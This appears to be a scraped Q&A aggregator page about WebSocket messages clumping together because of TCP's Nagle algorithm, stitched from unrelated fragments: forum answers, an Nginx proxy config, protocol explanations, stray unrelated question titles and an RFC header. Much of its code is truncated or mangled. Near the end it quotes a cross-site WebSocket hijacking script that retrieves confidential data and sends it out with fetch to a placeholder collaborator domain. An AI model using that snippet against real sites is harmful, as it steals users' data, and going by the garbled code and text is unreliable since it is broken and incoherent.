WebSocket TCP packets clumping together?

Active3 hr before
Viewed126 times

9 Answers


That's TCP. It is helping you by economizing on IP packets. Part of it is due to the Nagle algorithm but part of it may also be caused by the intermediate network., Is it fallacious to argue that something is correct, of good quality, or acceptable because a community of experts has established it as such? , What are the causes of negative real interest rates? ,Concerning JavaScript & PHP WebSocket TCP packet clumping, with example below.

For Example:

conn = new WebSocket(url);
conn.onmessage = function(evt) {
   Server.send('ACKNOWLEDGE BYTES'); // Send ACK to server immediately
   dispatch('message', evt.data); //Do regular event procedures

After the client receives the server response, the WebSocket connection is open to start transmitting data.,Upgrade: websocket Confirms that the connection has been upgraded. ,The Upgrade header is used by clients to ask the server to switch to one of the listed protocols, in descending preference order. We specify websocket here to signal that the client wants to establish a WebSocket connection.,The Sec-WebSocket-Key is a one-time random value (a nonce) generated by the client. The value is a randomly selected 16-byte value that has been base64-encoded.

WebSockets do not use the http:// or https:// scheme (because they do not follow the HTTP protocol). Rather, WebSocket URIs use a new scheme ws: (or wss: for a secure WebSocket). The remainder of the URI is the same as an HTTP URI: a host, port, path and any query parameters.

   port] path["?"
   port] path["?"
load more v

Using rosbridge Websocket and roslibjs, I subscribe to a 60 Hz Ros message at a 15 ms throttle rate with 0 queue size, I end up receiving 6 messages at a time but every 100 ms.,I only found a kludgy way of achieving 15 ms between each message by forcing Roslibjs to ping back the websocket server on each message reception (this forces Nagle's algorithm to flush). Idea come from this post http://stackoverflow.com/questions/13373519/websocket-tcp-packets-clumping-together/13406438#13406438,in rosbridge_websocket.py line 63 (opening connection callback), fixes the issue. This should either be added or available as an option.,Using Tornado WebSocketHandler API, I tried tu use self.set_nodelay(True) which is supposed to deactivate Nagle. I'm behind a corporate proxy so that might be why (Still the same message scheduling pattern maybe caused by proxy's nagle)


A WebSocket is a standard protocol for two-way data transfer between a client and server. The WebSockets protocol does not run over HTTP, instead it is a separate implementation on top of TCP.,Here are the configuration settings I use in my Nginx file as part of my WebSockets proxy.,WebSockets 101 by Armin Ronacher provides a detailed assessment of the subpar state of HTTP proxying in regards to WebSockets. He also discusses the complexities of the WebSockets protocol including the packet implementation., WebSockets 101 by Armin Ronacher provides a detailed assessment of the subpar state of HTTP proxying in regards to WebSockets. He also discusses the complexities of the WebSockets protocol including the packet implementation.

# this is where my WSGI server sits answering only on localhost
# usually this is Gunicorn monkey patched with gevent
upstream app_server_wsgiapp {
   server localhost: 5000 fail_timeout = 0;

server {

   # typical web server configuration goes here

   # this section is specific to the WebSockets proxying
   location / socket.io {
      proxy_pass http: //app_server_wsgiapp/socket.io;
         proxy_redirect off;

      proxy_set_header Host $host;
      proxy_set_header X - Real - IP $remote_addr;
      proxy_set_header X - Forwarded - For $proxy_add_x_forwarded_for;

      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_read_timeout 600;

WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. The WebSocket protocol was standardized by the IETF as RFC 6455 in 2011, and the WebSocket API in Web IDL is being standardized by the W3C. ,The WebSocket protocol - Original protocol proposal by Ian Hickson,Internet protocol suite,The WebSocket protocol - Internet-Draft published by the IETF HyBi Working Group

// Creates new WebSocket object with an ws URI as the parameter
const socket = new WebSocket('ws://game.example.com:12010/updates');

// Fired when a connection with a WebSocket is opened,
socket.onopen = function() {
   setInterval(function() {
      if (socket.bufferedAmount == 0)
   }, 50);

// Fired when data is received through a WebSocket,
socket.onmessage = function(event) {

// Fired when a connection with a WebSocket is closed,
socket.onclose = function(event) {

// Fired when a connection with a WebSocket has been closed because of an error,
socket.onerror = function(event) {
load more v

WebSocket messages are delivered in packages called ‘frames’, which begin with a message header, and conclude with the ‘payload’ – the message data for this frame. Large messages may split the data over several frames, in which case you need to keep track of what you’ve received so far and piece the data together once it has all arrived.,The client and server generally need to agree on a compatible strategy with respect to how they format, interpret and organize the data itself, both within a given message, and over time, from one message to the next. ,There are also the error and close events. WebSockets don’t automatically recover when connections are terminated – this is something you need to implement yourself, and is part of the reason why there are many client-side libraries in existence. ,When both the client and server are implemented to use a common messaging protocol from the outset, the Sec-WebSocket-Protocol header can be omitted in the initial request, in which case the server can ignore this step. 

// Note: this code only works in old versions of Internet Explorer
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET", "/api/example", true);
xmlhttp.onreadystatechange = function() {
   if (xmlhttp.readyState == 4) {
load more v

A WebSocket server is nothing more than an application listening on any port of a TCP server that follows a specific protocol. The task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple WebSocket server on your platform of choice.,A WebSocket server can be written in any server-side programming language that is capable of Berkeley sockets, such as C(++), Python, PHP, or server-side JavaScript. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.,A client has to ask for a specific subprotocol. To do so, it will send something like this as part of the original handshake:,Warning: The server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. Browsers generally require a secure connection for WebSockets, although they may offer an exception for local devices.

GET / chat HTTP / 1.1
Host: example.com: 8000
Upgrade: websocket
Connection: Upgrade
Sec - WebSocket - Key: dGhlIHNhbXBsZSBub25jZQ ==
   Sec - WebSocket - Version: 13
load more v

Client → Server: The client closes the WebSocket connection at the end.,A common script that can be used for exploitation of this vulnerability can be found below:,In order to test if the plain-text communication is allowed, the following tool can be used:,A sample request that initiates the WebSocket looks like the following:

A common script that can be used for exploitation of this vulnerability can be found below:

websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retrieve confidential information
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
load more v

[Search][txt | html | pdf | with errata | bibtex][Tracker][WG][Email][Diff1][Diff2][Nits]

From: draft - ietf - hybi - thewebsocketprotocol - 17 Proposed Standard
Updated by: 7936, 8307, 8441 Errata exist

Other "packets-websocket" queries related to "WebSocket TCP packets clumping together?"